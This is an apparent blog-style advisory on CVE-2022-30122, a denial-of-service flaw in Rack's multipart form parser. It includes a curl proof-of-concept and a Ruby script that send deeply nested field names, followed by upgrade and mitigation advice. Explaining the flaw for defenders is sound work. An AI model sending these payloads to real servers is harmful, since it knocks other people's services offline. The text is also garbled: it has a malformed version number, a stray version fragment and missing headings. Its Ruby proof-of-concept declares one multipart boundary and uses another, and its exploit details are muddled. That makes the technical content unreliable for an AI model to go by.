If you run Rails or Sinatra apps, it’s very likely you’ve relied on Rack—the foundation for most Ruby web applications. In 2022, a subtle bug was found in how Rack handles multipart form data. Left unpatched, it can cripple your server with a simple HTTP request. Let’s walk through CVE-2022-30122, the denial of service (DoS) bug that quietly threatened the Ruby universe.

What’s the Deal With CVE-2022-30122?

CVE-2022-30122 is a DoS vulnerability in Rack, affecting all versions before 2..9.1, 2.1.4.1, and 2.2.3.1. The problem lives in Rack’s _multipart parser_. This parser is key for handling forms that upload files.

An attacker can craft a malicious multipart body that, when parsed, throws Rack into a fit—causing a resource leak, high CPU usage, or even total server unresponsiveness.

<2.2.3.1

If your Gemfile.lock lists any of these older versions, you’re at risk.

How Does the Attack Work?

Multipart requests are just HTTP POST requests that split the form fields and uploaded files into separate parts. When handling these, Rails (or any Rack app) depends on Rack to make sense of all the bits and pieces.

The problem: If an attacker sends a specially crafted multipart request—one with a huge body, or with fields constructed to trigger the underlying bug—Rack’s parser fails gracefully for a while... then melts down, possibly hanging the application until it crashes.

Real-World Example: The Malicious Request

The essence of the exploit: send a multipart POST with a field name that causes the parser to go haywire.

A minimal PoC could look like this with curl (note: test responsibly!)

curl -X POST http://your-app.com/upload \
  -F "data[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa][bbbbbbbbbbbbbbbbbbbbbbb][cccccccccccccccccccccccc]=test"

By nesting parameters and crafting huge or deeply nested field names, an attacker can trigger excessive resource use or outright server hangs.

Here’s a simplified Ruby version inspired by the vulnerable logic

require 'rack'

env = Rack::MockRequest.env_for(
  "/upload",
  method: "POST",
  "CONTENT_TYPE" => "multipart/form-data; boundary=----WebKitFormBoundary",
  :input => "--boundary\r\n" \
            "Content-Disposition: form-data; name=\"x" + ("[a]" * 10_000) + "\"\r\n\r\ntest\r\n--boundary--\r\n"
)

begin
  request = Rack::Request.new(env)
  params = request.params  # Triggers the buggy multipart parser!
rescue => e
  puts "Error: #{e}"
end

If you replace 10_000 in the code above with a very high number, the parser may exhaust memory or hang forever.

The Real Danger

- Low and slow attacks: Attackers don’t need to flood you with thousands of requests—just a few well-crafted ones are enough.
- No authentication needed: Any public endpoint accepting file uploads (especially API endpoints) can be targeted.
- Hard to detect: These requests might not look like attacks unless you specifically review incoming HTTP body sizes and nesting depth.

In your Gemfile

gem "rack", ">= 2.2.3.1"

Then run

bundle install

Official References

- CVE-2022-30122 in the NVD
- GitHub Security Advisory
- Rack changelog

Reject requests with deeply nested parameter names.

- Monitor for slow/memory-intensive requests and block IPs that trigger them.

But really: patching is the best defense here.

Takeaway

CVE-2022-30122 is a reminder that sometimes, the smallest parsing details can become the biggest threats. If you run any Ruby app with file uploads or multipart forms, upgrading Rack (and keeping it updated) is a must.

Timeline

Published on: 12/05/2022 22:15:00 UTC
Last modified on: 12/07/2022 04:39:00 UTC